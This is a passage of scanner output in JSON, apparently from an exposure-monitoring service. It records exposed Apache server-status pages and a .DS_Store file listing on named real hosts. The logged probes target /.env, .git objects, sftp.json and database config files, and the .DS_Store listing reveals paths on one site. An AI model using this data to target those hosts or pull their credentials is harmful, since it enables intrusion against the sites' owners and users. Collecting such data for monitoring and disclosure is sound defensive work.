abort\\n\\n0-51074220/457/504_\\n7.762170021610.00.340.92\\n212.102.40.218http/1.1\\n\\n0-51074220/460/505_\\n7.762170025260.00.353.39\\n212.102.40.218http/1.1\\n\\n0-51074220/452/499_\\n7.782719010240.00.333.66\\n167.94.146.53h2moodle.variolms.com:443[0/0] init\\n\\n0-51074220/463/509_\\n7.77439806390.00.350.56\\n209.141.60.74http/1.1\\n\\n0-51074220/458/500_\\n7.7700101420.00.341.71\\n101.43.223.100http/1.1\\n\\n0-51074220/453/488_\\n7.86217592141980.00.360.46\\n94.102.61.80http/1.1moodle.variolms.com:443GET / HTTP/1.1\\n\\n0-51074220/456/508_\\n7.783612024430.00.350.57\\n121.147.183.136http/1.1\\n\\n0-51074220/454/494_\\n7.76674807160.00.380.85\\n208.100.26.232http/1.1\\n\\n0-51074220/461/510_\\n7.8032842224490.00.376.42\\n50.116.57.123http/1.1\\n\\n0-51074220/466/510_\\n7.84438609450.00.370.57\\n83.97.73.245http/1.1moodle.variolms.com:80\\\\x16\\\\x03\\\\x01\\n\\n0-51074220/454/487_\\n7.776779022660.00.343.33\\n170.64.131.101http/1.1\\n\\n0-51074220/460/497_\\n7.783839049030.00.340.46\\n3.93.198.10http/1.1\\n\\n0-51074220/460/498_\\n7.774385058340.00.372.80\\n170.64.131.101http/1.1\\n\\n0-51074220/454/496_\\n7.85361205220.00.350.52\\n83.97.73.245http/1.1moodle.variolms.com:80\\\\x16\\\\x03\\\\x01\\n\\n0-51074220/462/511_\\n7.83674884950.00.360.50\\n208.100.26.232http/1.1moodle.variolms.com:443GET / HTTP/1.1\\n\\n0-51074220/459/503_\\n7.88095280.00.410.57\\n134.122.34.144http/1.1moodle.variolms.com:443GET / HTTP/1.1\\n\\n0-51074220/456/502_\\n7.77001930.00.330.48\\n134.122.34.144http/1.1\\n\\n0-51074220/453/490_\\n7.8367791012870.00.350.50\\n208.100.26.232http/1.1moodle.variolms.com:443GET / HTTP/1.0\\n\\n0-51074220/460/501_\\n7.77609805440.00.420.56\\n170.64.131.101http/1.1\\n\\n0-51074220/464/514_\\n7.8443981847020.00.373.44\\n209.141.60.74http/1.1moodle.variolms.com:443GET / HTTP/1.1\\n\\n0-51074220/461/499_\\n7.84609809120.00.353.42\\n83.97.73.245http/1.1moodle.variolms.com:80GET / HTTP/1.1\\n\\n0-51074220/456/503_\\n7.78271905350.00.350.80\\n167.94.146.53h2moodle.variolms.com:443[0/0] done\\n\\n0-51074220/464/500_\\n7.81103120.00.360.51\\n78.153.140.177http/1.1moodle.variolms.com:443GET /.env HTTP/1.1\\n\\n0-51074220/457/494_\\n7.8711644650.03.403.52\\n134.122.34.144http/1.1moodle.variolms.com:443GET / HTTP/1.1\\n\\n1-51074230/713/752_\\n10.892715996070.00.520.67\\n167.94.146.53http/1.1moodle.variolms.com:443GET / HTTP/1.1\\n\\n1-51074230/712/745_\\n10.93003080.00.510.73\\n134.122.34.144http/1.1moodle.variolms.com:443GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.expor\\n\\n1-51074230/700/740_\\n10.82105890.00.481.67\\n134.122.34.144h2moodle.variolms.com:443[0/0] Software caused connection abort\\n\\n1-51074230/707/746_\\n10.821015850.00.501.51\\n134.122.34.144h2moodle.variolms.com:443[0/0] Software caused connection abort\\n\\n1-51074230/722/756_\\n10.83361209890.00.540.81\\n170.64.131.101http/1.1\\n\\n1-51074230/711/748_\\n10.87106920.00.500.90\\n134.122.34.144h2moodle.variolms.com:443[0/0] Software caused connection abort\\n\\n1-51074230/715/753_\\n10.83286306490.00.500.76\\n170.187.149.48http/1.1\\n\\n1-51074230/706/746_\\n10.87106298220.00.500.76\\n208.100.26.232http/1.1moodle.variolms.com:443GET / HTTP/1.1\\n\\n1-51074230/701/729_\\n10.92006380.00.480.62\\n134.122.34.144http/1.1moodle.variolms.com:443GET /.vscode/sftp.json HTTP/1.1\\n\\n1-51074230/708/744_\\n10.83272604470.00.480.80\\n167.94.146.53http/1.1\\n\\n1-51074230/712/747_\\n10.861712116220.00.500.62\\n162.243.147.18http/1.1\\n\\n1-51074230/717/756_\\n10.832863034430.00.483.57\\n170.64.131.101http/1.1\\n\\n1-51074230/717/743_\\n10.91106703640.00.480.57\\n185.224.128.55http/1.1moodle.variolms.com:80GET / HTTP/1.1\\n\\n1-51074230/709/742_\\n10.83003610.00.490.66\\n3.93.198.10http/1.1\\n\\n1-51074230/722/760_\\n10.87106203210.00.510.62\\n208.100.26.232http/1.1moodle.variolms.com:443GET /HNAP1 HTTP/1.1\\n\\n1-51074230/706/739_\\n10.8828631203750.00.500.68\\n170.187.149.48http/1.1moodle.variolms.com:443HEAD / HTTP/1.1\\n\\n1-51074230/712/744_\\n10.86217106270.00.510.84\\n208.100.26.232http/1.1moodle.variolms.com:443POST /sdk HTTP/1.1\\n\\n1-51074230/720/754_\\n10.90217604650.00.490.66\\n94.102.61.80http/1.1moodle.variolms.com:80GET / HTTP/1.1\\n\\n1-51074230/701/731_\\n10.832715011850.00.460.62\\n167.94.146.53http/1.1\\n\\n1-51074230/715/749_\\n10.87103640.00.510.84\\n134.122.34.144http/1.1\\n\\n1-51074230/720/755_\\n10.821062730.00.540.84\\n134.122.34.144http/1.1\\n\\n1-51074230/706/740_\\n10.82106290.00.500.65\\n134.122.34.144h2moodle.variolms.com:443[0/0] Software caused connection abort\\n\\n1-51074230/727/763_\\n10.92004210.00.510.63\\n134.122.34.144http/1.1moodle.variolms.com:443GET /v2/_catalog HTTP/1.1\\n\\n1-51074230/712/748_\\n10.83217106760.00.500.67\\n170.64.131.101http/1.1moodle.variolms.com:443GET /.git/objects/c5/71b90a0ac35a54ea9727057fa14b4bd07611a3 HTT\\n\\n1-51074230/710/738_\\n10.88272603090.00.470.66\\n167.94.146.53http/1.1moodle.variolms.com:80GET / HTTP/1.1\\n\\n2-51169160/281/281_\\n5.5827190490.00.230.23\\n167.94.146.53http/1.1\\n\\n2-51169160/288/288_\\n5.5538390630.00.270.27\\n3.93.198.10http/1.1\\n\\n2-51169160/285/285_\\n5.6227153520.00.280.28\\n167.94.146.53http/1.1moodle.variolms.com:443\",\n    \"time\": \"2024-02-14T12:48:01.760450776Z\",\n    \"ssl\": {\n      \"detected\": false,\n      \"enabled\": true,\n      \"jarm\": \"27d40d40d00040d00042d43d0000002eaee36112ff2cbee89c0d0dac62faf6\",\n      \"cypher_suite\": \"TLS_AES_128_GCM_SHA256\",\n      \"version\": \"TLSv1.3\",\n      \"certificate\": {\n        \"cn\": \"moodle.variolms.com\",\n        \"domain\": [\n          \"moodle.variolms.com\"\n        ],\n        \"fingerprint\": \"37227598331f4cd4430e198f8c98dcec63fcb78db5c5a5599800353b1ae3029f\",\n        \"key_algo\": \"ECDSA\",\n        \"key_size\": 256,\n        \"issuer_name\": \"R3\",\n        \"not_before\": \"2024-01-28T21:27:48Z\",\n        \"not_after\": \"2024-04-27T21:27:47Z\",\n        \"valid\": false\n      }\n    },\n    \"ssh\": {\n      \"fingerprint\": \"\",\n      \"version\": 0,\n      \"banner\": \"\",\n      \"motd\": \"\"\n    },\n    \"service\": {\n      \"credentials\": {\n        \"noauth\": false,\n        \"username\": \"\",\n        \"password\": \"\",\n        \"key\": \"\",\n        \"raw\": null\n      },\n      \"software\": {\n        \"name\": \"Apache\",\n        \"version\": \"\",\n        \"os\": \"\",\n        \"modules\": null,\n        \"fingerprint\": \"\"\n      }\n    },\n    \"leak\": {\n      \"stage\": \"\",\n      \"type\": \"\",\n      \"severity\": \"medium\",\n      \"dataset\": {\n        \"rows\": 0,\n        \"files\": 0,\n        \"size\": 0,\n        \"collections\": 0,\n        \"infected\": false,\n        \"ransom_notes\": null\n      }\n    },\n    \"tags\": [],\n    \"geoip\": {\n      \"continent_name\": \"North America\",\n      \"region_iso_code\": \"\",\n      \"city_name\": \"\",\n      \"country_iso_code\": \"US\",\n      \"country_name\": \"United States\",\n      \"region_name\": \"\",\n      \"location\": {\n        \"lat\": 37.751,\n        \"lon\": -97.822\n      }\n    },\n    \"network\": {\n      \"organization_name\": \"Melbikomas UAB\",\n      \"asn\": 8849,\n      \"network\": \"162.247.152.0/22\"\n    }\n  },\n  {\n    \"event_type\": \"leak\",\n    \"event_source\": \"ApacheStatusPlugin\",\n    \"event_pipeline\": [\n      \"l9filter\",\n      \"tcpid\",\n      \"HttpPlugin\",\n      \"ApacheStatusPlugin\"\n    ],\n    \"event_fingerprint\": \"ee80c6706842d3ef6842d3ef6325bb316325bb31393fb462393fb4620d6ace3d\",\n    \"ip\": \"77.60.161.116\",\n    \"host\": \"77.60.161.116\",\n    \"reverse\": \"\",\n    \"port\": \"443\",\n    \"mac\": \"\",\n    \"vendor\": \"\",\n    \"transport\": [\n      \"tcp\",\n      \"tls\",\n      \"http\"\n    ],\n    \"protocol\": \"https\",\n    \"http\": {\n      \"root\": \"\",\n      \"url\": \"\",\n      \"status\": 404,\n      \"length\": 0,\n      \"header\": {\n        \"content-length\": \"0\",\n        \"server\": \"Apache\"\n      },\n      \"title\": \"\",\n      \"favicon_hash\": \"\"\n    },\n    \"summary\": \"\\nApache Status\\n\\nApache Server Status for 77.60.161.116 (via 192.168.2.3)\\n\\nServer Version: Apache/2.4.37 (Unix) OpenSSL/1.0.1e-fips mod_jk/1.2.46\\nServer MPM: event\\nServer Built: Dec  8 2018 10:47:39\\n\\nCurrent Time: Wednesday, 14-Feb-2024 13:46:46 CET\\nRestart Time: Wednesday, 14-Feb-2024 01:01:54 CET\\nParent Server Config. Generation: 1\\nParent Server MPM Generation: 0\\nServer uptime:  12 hours 44 minutes 51 seconds\\nServer load: 0.09 0.08 0.05\\nTotal accesses: 375 - Total Traffic: 642 kB - Total Duration: 322\\nCPU Usage: u1.54 s1.23 cu0 cs0 - .00604% CPU load\\n.00817 requests/sec - 14 B/second - 1753 B/request - .858667 ms/request\\n1 requests currently being processed, 99 idle workers\\n\\n\\n\\nSlotPIDStoppingConnections\\nThreadsAsync connections\\ntotalacceptingbusyidlewritingkeep-aliveclosing\\n021912no0yes025000\\n121913no1yes025000\\n221914no0yes025000\\n322241no0yes124000\\nSum401 199000\\n\\n________________________________________________________________\\n__________________________________W_............................\\n................................................................\\n................................................................\\n................................................................\\n................................................................\\n................\\nScoreboard Key:\\n\\\"_\\\" Waiting for Connection, \\n\\\"S\\\" Starting up, \\n\\\"R\\\" Reading Request,\\n\\\"W\\\" Sending Reply, \\n\\\"K\\\" Keepalive (read), \\n\\\"D\\\" DNS Lookup,\\n\\\"C\\\" Closing connection, \\n\\\"L\\\" Logging, \\n\\\"G\\\" Gracefully finishing, \\n\\\"I\\\" Idle cleanup of worker, \\n\\\".\\\" Open slot with no current process\\n\\n\\n\\nSrvPIDAccMCPU\\nSSReqDurConnChildSlotClientProtocolVHostRequest\\n\\n0-0219120/3/3_\\n0.1611315000.00.000.00\\n65.49.1.104http/1.1\\n\\n0-0219120/2/2_\\n0.1311314000.00.000.00\\n65.49.1.94http/1.1\\n\\n0-0219120/2/2_\\n0.1611279000.00.000.00\\n2.57.122.196http/1.1\\n\\n0-0219120/1/1_\\n0.051131472720.00.000.00\\n65.49.1.95http/1.1\\n\\n0-0219120/3/3_\\n0.3110207020.00.010.01\\n194.59.40.31http/1.1boair.multitrader.nl:443HEAD / HTTP/1.1\\n\\n0-0219120/2/2_\\n0.1011101000.00.000.00\\n107.170.192.25http/1.1\\n\\n0-0219120/3/3_\\n0.1311101000.00.000.00\\n107.170.192.25http/1.1\\n\\n0-0219120/3/3_\\n0.1311100000.00.030.03\\n107.170.192.25http/1.1\\n\\n0-0219120/2/2_\\n0.3110212000.00.000.00\\n194.59.40.31http/1.1boair.multitrader.nl:443GET / HTTP/1.1\\n\\n0-0219120/2/2_\\n0.1111100000.00.000.00\\n107.170.192.25http/1.1\\n\\n0-0219120/3/3_\\n0.1110207010.00.010.01\\n139.162.142.167http/1.1\\n\\n0-0219120/2/2_\\n0.1410207000.00.000.00\\n139.162.142.167http/1.1\\n\\n0-0219120/4/4_\\n0.1410207010.00.000.00\\n194.59.40.31http/1.1\\n\\n0-0219120/3/3_\\n0.1514945000.00.000.00\\n139.162.142.167http/1.1\\n\\n0-0219120/4/4_\\n0.1514945000.00.010.01\\n139.162.142.167http/1.1\\n\\n0-0219120/2/2_\\n0.080000.00.000.00\\n139.144.150.205http/1.1\\n\\n0-0219120/4/4_\\n0.1514937010.00.010.01\\n139.162.142.167http/1.1\\n\\n0-0219120/1/1_\\n0.0514945000.00.000.00\\n139.162.142.167http/1.1\\n\\n0-0219120/2/2_\\n0.0514945000.00.000.00\\n139.162.142.167http/1.1\\n\\n0-0219120/3/3_\\n0.1312608000.00.000.00\\n139.162.142.167http/1.1\\n\\n0-0219120/4/4_\\n0.2612614010.00.010.01\\n45.142.182.85http/1.1boair.multitrader.nl:80GET / HTTP/1.1\\n\\n0-0219120/3/3_\\n0.1612609000.00.000.00\\n139.162.142.167http/1.1\\n\\n0-0219120/4/4_\\n0.1611315000.00.010.01\\n65.49.1.107http/1.1\\n\\n0-0219120/4/4_\\n0.1311279000.00.010.01\\n139.162.142.167http/1.1\\n\\n0-0219120/1/1_\\n0.0611315000.00.000.00\\n65.49.1.94http/1.1\\n\\n1-0219130/2/2_\\n0.1814948000.00.000.00\\n139.162.142.167http/1.1boair.multitrader.nl:80GET / HTTP/1.0\\n\\n1-0219130/2/2_\\n0.1114948010.00.010.01\\n139.162.142.167http/1.1boair.multitrader.nl:443GET /main.jsa HTTP/1.1\\n\\n1-0219130/2/2_\\n0.1614948000.00.000.00\\n139.162.142.167http/1.1\\n\\n1-0219130/1/1_\\n0.1714948000.00.000.00\\n139.162.142.167http/1.1\\n\\n1-0219130/3/3_\\n0.1914948010.00.010.01\\n139.162.142.167http/1.1boair.multitrader.nl:443GET / HTTP/1.1\\n\\n1-0219130/1/1_\\n0.1214948000.00.000.00\\n139.162.142.167http/1.1\\n\\n1-0219130/3/3_\\n0.1214948000.00.000.00\\n139.162.142.167http/1.1\\n\\n1-0219130/1/1_\\n0.1214948000.00.000.00\\n139.162.142.167http/1.1\\n\\n1-0219130/2/2_\\n0.1714948000.00.000.00\\n139.162.142.167http/1.1\\n\\n1-0219130/2/2_\\n0.1714948000.00.000.00\\n139.162.142.167http/1.1\\n\\n1-0219130/1/1_\\n0.1714948000.00.000.00\\n139.162.142.167http/1.1\\n\\n1-0219130/2/2_\\n0.1314947010.00.010.01\\n139.162.142.167http/1.1\\n\\n1-0219130/2/2_\\n0.1814947000.00.010.01\\n139.162.142.167http/1.1\\n\\n1-0219130/3/3_\\n0.1814947000.00.000.00\\n139.162.142.167http/1.1\\n\\n1-0219130/1/1_\\n0.0814947000.00.000.00\\n139.162.142.167http/1.1\\n\\n1-0219130/2/2_\\n0.0914951010.00.000.00\\n139.162.142.167http/1.1boair.multitrader.nl:80POST /sdk HTTP/1.1\\n\\n1-0219130/4/4_\\n0.1814951010.00.010.01\\n139.162.142.167http/1.1boair.multitrader.nl:80GET /indice.jsp HTTP/1.1\\n\\n1-0219130/1/1_\\n0.1514951000.00.000.00\\n139.162.142.167http/1.1boair.multitrader.nl:80GET /inicio.shtml HTTP/1.1\\n\\n1-0219130/3/3_\\n0.1814950000.00.000.00\\n139.162.142.167http/1.1boair.multitrader.nl:80GET /main.jhtml HTTP/1.1\\n\\n1-0219130/1/1_\\n0.1114950110.00.000.00\\n139.162.142.167http/1.1boair.multitrader.nl:443GET / HTTP/1.0\\n\\n1-0219130/3/3_\\n0.1814950010.00.010.01\\n139.162.142.167http/1.1boair.multitrader.nl:80GET /base.aspx HTTP/1.1\\n\\n1-0219130/2/2_\\n0.1614950000.00.000.00\\n139.162.142.167http/1.1boair.multitrader.nl:443GET /CSS/Miniweb.css HTTP/1.1\\n\\n2-0219140/5/5_\\n0.17149520650.00.010.01\\n139.162.142.167http/1.1boair.multitrader.nl:443GET /menu.shtml HTTP/1.1\\n\\n2-0219140/2/2_\\n0.1914954020.00.000.00\\n139.162.142.167http/1.1boair.multitrader.nl:80GET /home.aspx HTTP/1.1\\n\\n2-0219140/2/2_\\n0.2014952000.00.000.00\\n139.162.142.167http/1.1boair.multitrader.nl:80GET /base.inc HTTP/1.1\\n\\n2-0219140/2/2_\\n0.1014953000.00.000.00\\n139.162.142.167http/1.1boair.multitrader.nl:443GET /menu.jsa HTTP/1.1\\n\\n2-0219140/5/5_\\n0.2014948000.00.010.01\\n139.162.142.167http/1.1boair.multitrader.nl:80GET / HTTP/1.1\\n\\n2-0219140/4/4_\\n0.2014951000.00.000.00\\n139.162.142.167http/1.1boair.multitrader.nl:80GET /home.shtml HTTP/1.1\\n\\n2-0219140/1/1_\\n0.0514951000.00.000.00\\n3.39.128.218http/1.1boair.multitrader.nl:80GET /users/sign_in HTTP/1.1\\n\\n2-0219140/1/1_\\n0.1814947000.00.000.00\\n139.162.142.167http/1.1\",\n    \"time\": \"2024-02-14T12:46:45.270197279Z\",\n    \"ssl\": {\n      \"detected\": false,\n      \"enabled\": true,\n      \"jarm\": \"27d27d27d00027d1dc27d27d27d27d4d38a7b5ffb0e5536d09513d9de81205\",\n      \"cypher_suite\": \"TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256\",\n      \"version\": \"TLSv1.2\",\n      \"certificate\": {\n        \"cn\": \"*.multitrader.nl\",\n        \"domain\": [\n          \"*.multitrader.nl\",\n          \"multitrader.nl\"\n        ],\n        \"fingerprint\": \"c51aa582235b6794be3d783533ff7400d0dc0e4666449069ca900751503a608a\",\n        \"key_algo\": \"ECDSA\",\n        \"key_size\": 256,\n        \"issuer_name\": \"Sectigo ECC Domain Validation Secure Server CA\",\n        \"not_before\": \"2023-02-09T00:00:00Z\",\n        \"not_after\": \"2024-02-18T23:59:59Z\",\n        \"valid\": false\n      }\n    },\n    \"ssh\": {\n      \"fingerprint\": \"\",\n      \"version\": 0,\n      \"banner\": \"\",\n      \"motd\": \"\"\n    },\n    \"service\": {\n      \"credentials\": {\n        \"noauth\": false,\n        \"username\": \"\",\n        \"password\": \"\",\n        \"key\": \"\",\n        \"raw\": null\n      },\n      \"software\": {\n        \"name\": \"Apache\",\n        \"version\": \"\",\n        \"os\": \"\",\n        \"modules\": null,\n        \"fingerprint\": \"\"\n      }\n    },\n    \"leak\": {\n      \"stage\": \"\",\n      \"type\": \"\",\n      \"severity\": \"medium\",\n      \"dataset\": {\n        \"rows\": 0,\n        \"files\": 0,\n        \"size\": 0,\n        \"collections\": 0,\n        \"infected\": false,\n        \"ransom_notes\": null\n      }\n    },\n    \"tags\": [],\n    \"geoip\": {\n      \"continent_name\": \"Europe\",\n      \"region_iso_code\": \"NL-UT\",\n      \"city_name\": \"Woerden\",\n      \"country_iso_code\": \"NL\",\n      \"country_name\": \"Netherlands\",\n      \"region_name\": \"Utrecht\",\n      \"location\": {\n        \"lat\": 52.094,\n        \"lon\": 4.9004\n      }\n    },\n    \"network\": {\n      \"organization_name\": \"KPN B.V.\",\n      \"asn\": 1136,\n      \"network\": \"77.60.0.0/16\"\n    }\n  },\n  {\n    \"event_type\": \"leak\",\n    \"event_source\": \"DotDsStoreOpenPlugin\",\n    \"event_pipeline\": [\n      \"l9scan\",\n      \"tcpid\",\n      \"DotDsStoreOpenPlugin\"\n    ],\n    \"event_fingerprint\": \"5f32cf5d6962f09c8c9af8b78c9af8b746ba3fdb0ef43ca619dca8a2fd56a416\",\n    \"ip\": \"35.197.147.118\",\n    \"host\": \"35.197.147.118\",\n    \"reverse\": \"\",\n    \"port\": \"80\",\n    \"mac\": \"\",\n    \"vendor\": \"\",\n    \"transport\": [\n      \"tcp\",\n      \"http\"\n    ],\n    \"protocol\": \"http\",\n    \"http\": {\n      \"root\": \"\",\n      \"url\": \"\",\n      \"status\": 0,\n      \"length\": 0,\n      \"header\": {},\n      \"title\": \"\",\n      \"favicon_hash\": \"\"\n    },\n    \"summary\": \"Found 128 files trough .DS_Store spidering:\\n\\n/about.php\\n/adminsys\\n/certificate\\n/certificate/certificate-gold-template.jpg\\n/certificate/certificate-gold-template_bak.jpg\\n/certificate/certificate-gold.jpg\\n/certificate/certificate-silver-template.jpg\\n/certificate/certificate-silver-template_bak.jpg\\n/certificate/certificate-silver.jpg\\n/certificate.php\\n/check_answer.php\\n/classes\\n/classes/configs\\n/classes/configs/config.php\\n/classes/configs/database.php\\n/classes/configs/database.prod.php\\n/classes/configs/global.php\\n/classes/helpers\\n/classes/libs\\n/classes/service\\n/classes/service/event\\n/classes/shells\\n/css\\n/download\\n/email.php\\n/forgot-password.php\\n/fpassword_action.php\\n/gen_cert.php\\n/images\\n/images/arrow-left.png\\n/images/arrow-right.png\\n/images/header-bg-red.png\\n/images/header-bg.png\\n/images/header-bg2-red.png\\n/images/header-bg2.png\\n/images/icon-video.png\\n/images/icon01.png\\n/images/icon02.png\\n/images/icon03.png\\n/images/icon04.png\\n/images/icon05.png\\n/images/icon06.png\\n/images/icon07.png\\n/images/landing\\n/images/landing/apps.png\\n/images/landing/apps.png.bak.png\\n/images/landing/bd_home.png\\n/images/landing/bd_home.png.bak.png\\n/images/landing/bd_home1.png.bak.png\\n/images/landing/careyourbuilding.jpg\\n/images/landing/fb.jpg.bak.jpg\\n/images/landing/fb.png\\n/images/landing/Thumbs.db\\n/images/landing/webinar.jpg\\n/images/landing/webinar.png\\n/images/landing/youtube.jpg\\n/images/landing/youtube.png\\n/images/landing/youtube.png.bak.png\\n/images/login-bg-red.png\\n/images/login-bg.png\\n/images/logo.png\\n/images/nav-bg-red.png\\n/images/nav-bg.png\\n/images/or.png\\n/images/resourse-bg-red.png\\n/images/resourse-bg.png\\n/images/result-bg-red.png\\n/images/result-bg.png\\n/images/video\\n/images/video/ch1.jpg\\n/images/video/ch2.bak.jpg\\n/images/video/ch2.jpg\\n/images/video/ch3.jpg.bak.jpg\\n/images/video/ch3.png\\n/images/video/ch4.jpg\\n/images/video/ch5.bak.jpg\\n/images/video/ch5.jpg\\n/images/video/ch5.png\\n/images/video/ch5.png.bak.png\\n/images/video/ch5_bak.jpg\\n/images/video/ch6.jpg\\n/images/video/e-resources.png\\n/images/video/frame-01.png\\n/images/video/frame-01.png.bak.png\\n/images/video/frame-02.png\\n/images/video/frame-02.png.bak.png\\n/images/video/frame-03.png\\n/images/video/frame-03.png.bak.png\\n/images/video/frame-04.png\\n/images/video/frame-04.png.bak.png\\n/images/video/frame-05.png\\n/images/video/frame-05.png.bak.png\\n/images/video/frame-06.png\\n/images/video/frame-06.png.bak.png\\n/images/video/frame-07.png\\n/images/video/frame-07.png.bak.png\\n/images/video/frame-08.png.bak.png\\n/images/video/header-01.jpg\\n/images/video/header-02.jpg\\n/images/video/header-03.jpg\\n/images/video/header-04.jpg\\n/images/video/header-05.jpg\\n/images/video/header-06.jpg\\n/images/video/header-07.jpg\\n/images/video/header-07a.jpg\\n/images/video/header-07b.jpg\\n/images/video/header-08.jpg\\n/images/video/header-winner.jpg\\n/images/video/header-winner.jpg.bak.jpg\\n/images/video/header-winner.png\\n/images/video/header.ai\\n/images/video-bg-red.png\\n/images/video-bg.png\\n/images/video-s6.png\\n/images/wellcome-bg-red.png\\n/images/wellcome-bg.png\\n/images/word-red.png\\n/images/word.png\\n/index.php\\n/info.php\\n/js\\n/js/action_helper.js\\n/js/ajax-mail.js\\n/js/alerty.js\\n/js/bootstrap.min.js\\n/js/captcha.js\\n/js/google_analytics.js\\n/js/main.js\",\n    \"time\": \"2024-02-14T12:46:42.323522197Z\",\n    \"ssl\": {\n      \"detected\": false,\n      \"enabled\": false,\n      \"jarm\": \"\",\n      \"cypher_suite\": \"\",\n      \"version\": \"\",\n      \"certificate\": {\n        \"cn\": \"\",\n        \"domain\": null,\n        \"fingerprint\": \"\",\n        \"key_algo\": \"\",\n        \"key_size\": 0,\n        \"issuer_name\": \"\",\n        \"not_before\": \"0001-01-01T00:00:00Z\",\n        \"not_after\": \"0001-01-01T00:00:00Z\",\n        \"valid\": false\n      }\n    },\n    \"ssh\": {\n      \"fingerprint\": \"\",\n      \"version\": 0,\n      \"banner\": \"\",\n      \"motd\": \"\"\n    },\n    \"service\": {\n      \"credentials\": {\n        \"noauth\": false,\n        \"username\": \"\",\n        \"password\": \"\",\n        \"key\": \"\",\n        \"raw\": null\n      },\n      \"software\": {\n        \"name\": \"\",\n        \"version\": \"\",\n        \"os\": \"\",\n        \"modules\": null,\n        \"fingerprint\": \"\"\n      }\n    },\n    \"leak\": {\n      \"stage\": \"\",\n      \"type\": \"\",\n      \"severity\": \"medium\",\n      \"dataset\": {\n        \"rows\": 0,\n        \"files\": 130,\n        \"size\": 0,\n        \"collections\": 0,\n        \"infected\": false,\n        \"ransom_notes\": null\n      }\n    },\n    \"tags\": [],\n    \"geoip\": {\n      \"continent_name\": \"Asia\",\n      \"region_iso_code\": \"\",\n      \"city_name\": \"Singapore\",\n      \"country_iso_code\": \"SG\",\n      \"country_name\": \"Singapore\",\n      \"region_name\": \"\",\n      \"location\": {\n        \"lat\": 1.3036,\n        \"lon\": 103.8554\n      }\n    },\n    \"network\": {\n      \"organization_name\": \"GOOGLE-CLOUD-PLATFORM\",\n      \"asn\": 396982,\n      \"network\": \"35.196.0.0/15\"\n    }\n  },\n  {\n    \"event_type\": \"leak\",\n    \"event_source\": \"ApacheStatusPlugin\",\n    \"event_pipeline\": [\n      \"l9filter\",\n      \"tcpid\",\n      \"HttpPlugin\",\n      \"ApacheStatusPlugin\"\n    ],\n    \"event_fingerprint\": \"ee80c6706842d3ef6842d3ef6325bb316325bb3140dda18e40dda18e4df7d69c\",\n    \"ip\": \"143.244.145.201\",\n    \"host\": \"143.244.145.201\",\n    \"reverse\": \"\",\n    \"port\": \"443\",\n    \"mac\": \"\",\n    \"vendor\": \"\",\n    \"transport\": [\n      \"tcp\",\n      \"tls\",\n      \"http\"\n    ],\n    \"protocol\": \"https\",\n    \"http\": {\n      \"root\": \"\",\n      \"url\": \"\",\n      \"status\": 200,\n      \"length\": 0,\n      \"header\": {\n        \"content-length\": \"10918\",\n        \"content-type\": \"text/html\",\n        \"server\": \"nginx/1.14.0 (Ubuntu)\"\n      },\n      \"title\": \"Apache2 Ubuntu Default Page: It works\",\n      \"favicon_hash\": \"\"\n    },\n    \"summary\": \"\\nApache Status\\n\\nApache Server Status for 143.244.145.201 (via 127.0.0.1)\\n\\nServer Version: Apache/2.4.29 (Ubuntu)\\nServer MPM: prefork\\nServer Built: 2022-06-23T12:51:37\\n\\nCurrent Time: Wednesday, 14-Feb-2024 07:46:38 -05\\nRestart Time: Monday, 13-Nov-2023 23:11:45 -05\\nParent Server Config. Generation: 94\\nParent Server MPM Generation: 93\\nServer uptime:  92 days 8 hours 34 minutes 52 seconds\\nServer load: 0.19 0.19 0.09\\nTotal accesses: 5480700 - Total Traffic: 124.5 GB\\nCPU Usage: u985.59 s56.69 cu.31 cs.47 - .0131% CPU load\\n.687 requests/sec - 16.4 kB/second - 23.8 kB/request\\n1 requests currently being processed, 9 idle workers\\n________W..._...................................................\\n................................................................\\n......................\\nScoreboard Key:\\n\\\"_\\\" Waiting for Connection, \\n\\\"S\\\" Starting up, \\n\\\"R\\\" Reading Request,\\n\\\"W\\\" Sending Reply, \\n\\\"K\\\" Keepalive (read), \\n\\\"D\\\" DNS Lookup,\\n\\\"C\\\" Closing connection, \\n\\\"L\\\" Logging, \\n\\\"G\\\" Gracefully finishing, \\n\\\"I\\\" Idle cleanup of worker, \\n\\\".\\\" Open slot with no current process\\n\\n\\n\\nSrvPIDAccMCPU\\nSSReqConnChildSlotClientProtocolVHostRequest\\n\\n0-9395420/113/487366_\\n21.56000.02.3310419.48\\n127.0.0.1http/1.1127.0.1.1:8080GET /debug/default/view?panel=config HTTP/1.0\\n\\n1-9395390/113/487219_\\n18.98000.01.9710518.02\\n127.0.0.1http/1.1127.0.1.1:8080GET /v2/_catalog HTTP/1.0\\n\\n2-9395830/113/480842_\\n21.09100.01.1811483.28\\n127.0.0.1http/1.1127.0.1.1:8080GET /.vscode/sftp.json HTTP/1.0\\n\\n3-9395840/108/480187_\\n20.88400.02.9411105.27\\n127.0.0.1http/1.1127.0.1.1:8080GET / HTTP/1.0\\n\\n4-9397510/99/469247_\\n19.1723110.01.1810777.14\\n127.0.0.1http/1.1esdit.jedu.pe:8080POST /admin/control/ingreso HTTP/1.0\\n\\n5-9397720/99/464364_\\n20.95000.00.6010472.12\\n127.0.0.1http/1.1127.0.1.1:8080GET /ecp/Current/exporttool/microsoft.exchange.ediscovery.expor\\n\\n6-9395400/113/453337_\\n23.80100.01.2110312.63\\n127.0.0.1http/1.1127.0.1.1:8080GET /about HTTP/1.0\\n\\n7-9395410/111/440874_\\n23.3012590.01.7110933.94\\n127.0.0.1http/1.1esdit.jedu.pe:8080GET /admin/alumno/foto/73486745 HTTP/1.0\\n\\n8-93110350/37/413401W\\n10.56000.00.339665.31\\n127.0.0.1http/1.1127.0.1.1:8080GET /server-status HTTP/1.0\\n\\n9-92-0/0/401064.\\n192.4446512440.00.009487.42\\n127.0.0.1http/1.1esdit.jedu.pe:8080GET /admin/gestion-alumno/listar-alumnos/%7B%22codalu%22:%22702\\n\\n10-92-0/0/329623.\\n19.493941900.00.008089.71\\n::1http/1.1127.0.1.1:8080OPTIONS * HTTP/1.0\\n\\n11-92-0/0/212444.\\n191.0546514210.00.005654.92\\n127.0.0.1http/1.1esdit.jedu.pe:8080POST /admin/ajax/buscar-alumnos HTTP/1.0\\n\\n12-9395380/110/158477_\\n19.34100.01.123347.83\\n127.0.0.1http/1.1127.0.1.1:8080GET / HTTP/1.0\\n\\n13-92-0/0/49372.\\n0.383942600.00.00854.31\\n::1http/1.1127.0.1.1:8080OPTIONS * 